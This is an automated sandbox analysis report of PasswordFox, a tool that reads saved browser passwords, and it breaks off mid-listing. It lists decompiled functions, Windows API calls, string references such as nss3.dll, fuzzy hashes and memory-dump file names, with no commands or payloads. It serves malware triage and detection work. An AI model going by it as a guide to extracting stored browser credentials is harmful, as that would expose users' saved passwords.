Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: <%s>$<?xml version="1.0" ?>
API String ID: 168708657-3296998653
Opcode ID: e34694b086e0bf41ba510f4761e636aa8c6a44e3b59148fe565d034de5e700d4
Instruction ID: 290e2b38c62671b794f7aa0fc07ebbdac2aa5992fadd5bb1de784251dcda24bb
Opcode Fuzzy Hash: e34694b086e0bf41ba510f4761e636aa8c6a44e3b59148fe565d034de5e700d4
Instruction Fuzzy Hash: E00184B2A40129A6DB20A755CC46FEA766CEF44708F0001B6BB08B61D2D778AB558A9C

Function 00409261 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00409282
RegisterClassW.USER32(?), ref: 004092A7
GetModuleHandleW.KERNEL32(00000000), ref: 004092AE
CreateWindowExW.USER32(00000000,PasswordFox,PasswordFox,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 004092CD

Strings

PasswordFox, xrefs: 004092C5, 004092CA, 004092CB

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: HandleModule$ClassCreateRegisterWindow
String ID: PasswordFox
API String ID: 2678498856-3917124896
Opcode ID: 08d77018fcc5259621cde43de3ead234b542cd646e7a97fcb6d40f43ac39ff38
Instruction ID: 6f9ea0a48d81faf65a5b1ad446710f0fefb0e05d23044ccaf7bf5c8251c2ff79
Opcode Fuzzy Hash: 08d77018fcc5259621cde43de3ead234b542cd646e7a97fcb6d40f43ac39ff38
Instruction Fuzzy Hash: 5701E2B1901228AAD7009F998D89AEFBEBCFB09750F10422AF514B2241D7B45A408BE8

Function 0040428F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004042A3
_snwprintf.MSVCRT ref: 004042D0
MessageBoxW.USER32(?,?,Error,00000030), ref: 004042E9

Strings

Error %d: %s, xrefs: 004042BF
Error, xrefs: 004042DA

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 2f0fb7086bda5e790ecdc0800560db26cad3f57a8b40b3d9bf66697b22df90ad
Instruction ID: 776c58fbf7c65fbb3c3c50bed015f937b2f2766c9f1c10534292e0b53b83fb2e
Opcode Fuzzy Hash: 2f0fb7086bda5e790ecdc0800560db26cad3f57a8b40b3d9bf66697b22df90ad
Instruction Fuzzy Hash: E3F0A776540208A7CB11A794DC45FEA72ACFB84785F5401BBFA44F31C1DBB4AA848EAC

Function 0040AABE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 0040AACC
wcscpy.MSVCRT ref: 0040AADD
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,00000000,00408B3C,?), ref: 0040AAFB
CloseHandle.KERNEL32(00000000), ref: 0040AB02

Strings

General, xrefs: 0040AAD1

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscpy$CloseCreateFileHandle
String ID: General
API String ID: 999786162-26480598
Opcode ID: c35c0e4411e9c0bae4f4cdc42271805fcb2936c57c2e84faf1b98a291f38b1c7
Instruction ID: b288ffba67365f667122ae65733a5cfe420aacf28884de5051f4db542595074b
Opcode Fuzzy Hash: c35c0e4411e9c0bae4f4cdc42271805fcb2936c57c2e84faf1b98a291f38b1c7
Instruction Fuzzy Hash: 24E092B2841210FEE31167709D49FBB759CDB54304F008936F989F21D2D7349910C6A9

Function 0040AE7B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shlwapi.dll,?,75C08FB0,0040329A,00000000), ref: 0040AE84
GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0040AE92
FreeLibrary.KERNEL32(00000000,?,75C08FB0,0040329A,00000000), ref: 0040AEAA

Strings

SHAutoComplete, xrefs: 0040AE8C
shlwapi.dll, xrefs: 0040AE7D

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SHAutoComplete$shlwapi.dll
API String ID: 145871493-1506664499
Opcode ID: b8414be58024a528ad254a3f03c2ca1d3c70a1656d6c2a54984c6476332d9e09
Instruction ID: 88f23f55ba44edd14ac6a26998637db1e2e399021e0a31f77314a211b95685ee
Opcode Fuzzy Hash: b8414be58024a528ad254a3f03c2ca1d3c70a1656d6c2a54984c6476332d9e09
Instruction Fuzzy Hash: 22D01235341210EFE6115765AC48AAF6995EFC56517050536F805F2190CB794806C5A9

Function 00406061 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00404991: memset.MSVCRT ref: 0040499F

??2@YAPAXI@Z.MSVCRT(00000014,00000000,00000000,?,00402501,?,0040933F,00000000,?,?,?,?,004095D3), ref: 0040607B
??2@YAPAXI@Z.MSVCRT(00000014,00000000,?,00402501,?,0040933F,00000000,?,?,?,?,004095D3), ref: 004060A2
??2@YAPAXI@Z.MSVCRT(00000014,00000000,?,00402501,?,0040933F,00000000,?,?,?,?,004095D3), ref: 004060C3
??2@YAPAXI@Z.MSVCRT(00000014,00000000,?,00402501,?,0040933F,00000000,?,?,?,?,004095D3), ref: 004060E4

Strings

]`@, xrefs: 00406069

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@$memset
String ID: ]`@
API String ID: 1860491036-2281983686
Opcode ID: 7787d27574b16b41ee946f052cd0b81836bc58a93589df7c726abc465762cb08
Instruction ID: bb79053ed80c21c91024aef997b06ed6156d87c8b6c9c343c5c52e338d759cba
Opcode Fuzzy Hash: 7787d27574b16b41ee946f052cd0b81836bc58a93589df7c726abc465762cb08
Instruction Fuzzy Hash: 6921E7B1A513008ED7118F2AC489916FBE4FF9032072AC9BFD119DB2B2D7B8C910DB59

Function 00403473 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403494
wcslen.MSVCRT ref: 0040349F
wcslen.MSVCRT ref: 004034AD
memset.MSVCRT ref: 00403503

Part of subcall function 0040468E: wcscpy.MSVCRT ref: 00404696
Part of subcall function 0040468E: wcscat.MSVCRT ref: 004046A5

Strings

nss3.dll, xrefs: 004034A5, 004034AA, 004034BE

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memsetwcslen$wcscatwcscpy
String ID: nss3.dll
API String ID: 1250441359-2492180550
Opcode ID: 9ac930dc2a80d7e69a3bead36ea84fd5b0d447b0053a5b8c6fddeaa094ea053a
Instruction ID: 6a167fd0f76e7434a3772663e2e7e167b9492e56f061347703c305cb68191714
Opcode Fuzzy Hash: 9ac930dc2a80d7e69a3bead36ea84fd5b0d447b0053a5b8c6fddeaa094ea053a
Instruction Fuzzy Hash: 8B11BCB290421DA6DB20EB60EC45BDA77ACDB14315F1004BBFA0CF21C2F7799B448A9D

Function 004056FE Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00405710
GetWindowRect.USER32(?,?), ref: 0040571D
GetClientRect.USER32(00000000,?), ref: 00405728
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00405738
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405754

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: f7d617383d5d46ee9949b15d40646a99b14b7b9cf5e3cbe253016311cf744b81
Instruction ID: c1099f685b2fa3922c57bb52ca224cb94c15c54d8079a5ba9e99989863c45627
Opcode Fuzzy Hash: f7d617383d5d46ee9949b15d40646a99b14b7b9cf5e3cbe253016311cf744b81
Instruction Fuzzy Hash: AB014832800129BBDB11ABA59D89EFFBFBCEF46710F04412AF905F6181D7789501CBA5

Function 00406108 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406114
??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406122
??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406133
??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 0040614A
??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406153

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 7f1bfc16a435ee2c376b3b1f8993d54539eb187a6cd946df2ae9db6f882e4b7a
Instruction ID: 535675ec4a3531a1875528eff0eaecfc24ef5fe0f09a09dbf848e59b9a8c828f
Opcode Fuzzy Hash: 7f1bfc16a435ee2c376b3b1f8993d54539eb187a6cd946df2ae9db6f882e4b7a
Instruction Fuzzy Hash: 81F0FF725047459BD720AFAA98C581BF7D9FB543287A1483FF14AE7782C73CA890465C

Function 0040338F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

BeginDeferWindowPos.USER32(00000006), ref: 004033A8

Part of subcall function 004016C5: GetDlgItem.USER32(?,?), ref: 004016D5
Part of subcall function 004016C5: GetClientRect.USER32(?,?), ref: 004016E7
Part of subcall function 004016C5: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00401751

EndDeferWindowPos.USER32(?), ref: 0040341F
InvalidateRect.USER32(?,?,00000001), ref: 0040342A

Strings

$, xrefs: 00403446

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: cc2ccad6b08ee690cac38e68b376404d6851d77fa30cea87fc7c3548280c1051
Instruction ID: 7b31135a1e6ee326e2dac3ef47a8fc26cefe41ebc6cdb21986f718c968779d92
Opcode Fuzzy Hash: cc2ccad6b08ee690cac38e68b376404d6851d77fa30cea87fc7c3548280c1051
Instruction Fuzzy Hash: B7218670A00148FFDB226F52CC89D6F3EBCEB85B98F10402AF4017A2A1D6795F00DA68

Function 004074EB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040750F
memset.MSVCRT ref: 00407526

Part of subcall function 00406B6D: wcscpy.MSVCRT ref: 00406B72
Part of subcall function 00406B6D: _wcslwr.MSVCRT ref: 00406B93

_snwprintf.MSVCRT ref: 00407555

Part of subcall function 00404248: wcslen.MSVCRT ref: 00404255
Part of subcall function 00404248: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00407299,?,<item>), ref: 00404264

Strings

</%s>, xrefs: 00407544

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
String ID: </%s>
API String ID: 168708657-259020660
Opcode ID: 8e42905d616ee62d3a71394b24c9355df5b8a6e7cd44ce9fb49adfdd9a68abef
Instruction ID: d65a9cf6224a5409b15ed1d665fbe15c93bc85d1052f7d2db398c8f07851f168
Opcode Fuzzy Hash: 8e42905d616ee62d3a71394b24c9355df5b8a6e7cd44ce9fb49adfdd9a68abef
Instruction Fuzzy Hash: 2D0186F2D4012966DB20A755CC45FEA76ACEF44708F0000B6BB08B71D2D778AF458AD8

Function 0040593F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405962
GetPrivateProfileStringW.KERNEL32(0040FDA8,00000000,0040C3EC,?,00001000,0040FB98), ref: 00405988
wcscpy.MSVCRT ref: 004059A2

Strings

`$@, xrefs: 0040593F

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: PrivateProfileStringmemsetwcscpy
String ID: `$@
API String ID: 2806480022-815968772
Opcode ID: a87ada5f4edb05219421df81ad9726ad7a912981c381155625a111f65f6c177f
Instruction ID: c2dce99854ee5259c53899cef62a5f819c9370b8d6e2142060e2f1bd629cf35d
Opcode Fuzzy Hash: a87ada5f4edb05219421df81ad9726ad7a912981c381155625a111f65f6c177f
Instruction Fuzzy Hash: 43F08932550308EAFB149B50DC8AF9A336DDB04704F1040B6BB05F10D3DBB89A84CB9D

Function 0040103E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00404592: memset.MSVCRT ref: 0040459C
Part of subcall function 00404592: wcscpy.MSVCRT ref: 004045DC

CreateFontIndirectW.GDI32(?), ref: 0040105D
SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 0040107C
SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 0040109A

Strings

MS Sans Serif, xrefs: 00401049

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
String ID: MS Sans Serif
API String ID: 210187428-168460110
Opcode ID: e7c03dd706a1a2bd21d71d6fbe72e08e818ab4e1cbea5ffe71625ab417b1cfc3
Instruction ID: d10cd1735ba576b22d97866ba08d14aa0171280ce920b1492f1b9ab4db4955c2
Opcode Fuzzy Hash: e7c03dd706a1a2bd21d71d6fbe72e08e818ab4e1cbea5ffe71625ab417b1cfc3
Instruction Fuzzy Hash: 6EF08275A50304B7EA217BE0DD86F4A77ADA744B00F004539F751BA1E0D6B4A546CA58

Function 004046B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004046D1
GetClassNameW.USER32(?,00000000,000000FF), ref: 004046E8
_wcsicmp.MSVCRT ref: 004046FA

Strings

edit, xrefs: 004046F4

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ClassName_wcsicmpmemset
String ID: edit
API String ID: 2747424523-2167791130
Opcode ID: 1269dbbbcc9ee751f7553f12adc322cf3611892b3440b928ac3e05d2c27f1def
Instruction ID: 9868196516a9be475eaa27a1b50fb8344eac8dae48937d3e294beb3532af5590
Opcode Fuzzy Hash: 1269dbbbcc9ee751f7553f12adc322cf3611892b3440b928ac3e05d2c27f1def
Instruction Fuzzy Hash: 3AE01B71DC031DA6EB14E7A0DC8AFA577ACE710704F1005B57915F10D2E77496454A99

Function 0040AC9D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32.dll,0040957E), ref: 0040ACAB
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040ACC0

Strings

SHGetSpecialFolderPathW, xrefs: 0040ACBA
shell32.dll, xrefs: 0040ACA6

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 2574300362-880857682
Opcode ID: fe6797a427383c24e355645d860177a1fc7fc69b22948a41a82ae9843476e567
Instruction ID: 1038c5354ee48156a0843022f71e4766f2c1a4c27faf47684b647c396cf16a0a
Opcode Fuzzy Hash: fe6797a427383c24e355645d860177a1fc7fc69b22948a41a82ae9843476e567
Instruction Fuzzy Hash: F6D092B0956300EFEB805BA4AF997413AA8B700715F21443AE801B23E0DBBE8484CA1D

Function 00407CE2 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 0040652D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040654F
Part of subcall function 0040652D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 004065E4

wcslen.MSVCRT ref: 00407D10
_wtoi.MSVCRT(?), ref: 00407D1C
_wcsicmp.MSVCRT ref: 00407D6A
_wcsicmp.MSVCRT ref: 00407D7B

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _wcsicmp$??2@??3@_wtoiwcslen
String ID:
API String ID: 1549203181-0
Opcode ID: a474d6a3ac8f4210ac99ab163c9fff60aad0ec8605643463d23e5f5efd9e8fc4
Instruction ID: cffbb6c67c50ede4b810201e5db79530c50e5aceff8745b8abd235541a153f00
Opcode Fuzzy Hash: a474d6a3ac8f4210ac99ab163c9fff60aad0ec8605643463d23e5f5efd9e8fc4
Instruction Fuzzy Hash: 4B417131A01605EBDB21DF69C980AAEBBF0FF44304F10447EE956E7391D738B9909B85

Function 00405239 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,?,?,00401490,?,?,?,?,0040DA78,0000000C), ref: 0040526E
memset.MSVCRT ref: 0040527F
memcpy.MSVCRT(0040F2B0,?,00000000,00000000,00000000,00000000,00000000,?,?,00401490,?,?,?,?,0040DA78,0000000C), ref: 0040528B
??3@YAXPAX@Z.MSVCRT ref: 00405298

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: af406a04a4b50c514b405494a77c7ae63ce10921d1a9d2c14b4e3b54fe6e2e40
Instruction ID: 6c8d8dc775e92071ce88189a1a733c574a093dd66673860a6709b5512b2c3d78
Opcode Fuzzy Hash: af406a04a4b50c514b405494a77c7ae63ce10921d1a9d2c14b4e3b54fe6e2e40
Instruction Fuzzy Hash: CE114F712046019FD328DF1DC881A27F7E5EFD8314B24892EE59A97395D735E841CF54

Function 0040ADF2 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0040AE02
SHBrowseForFolderW.SHELL32(?), ref: 0040AE34
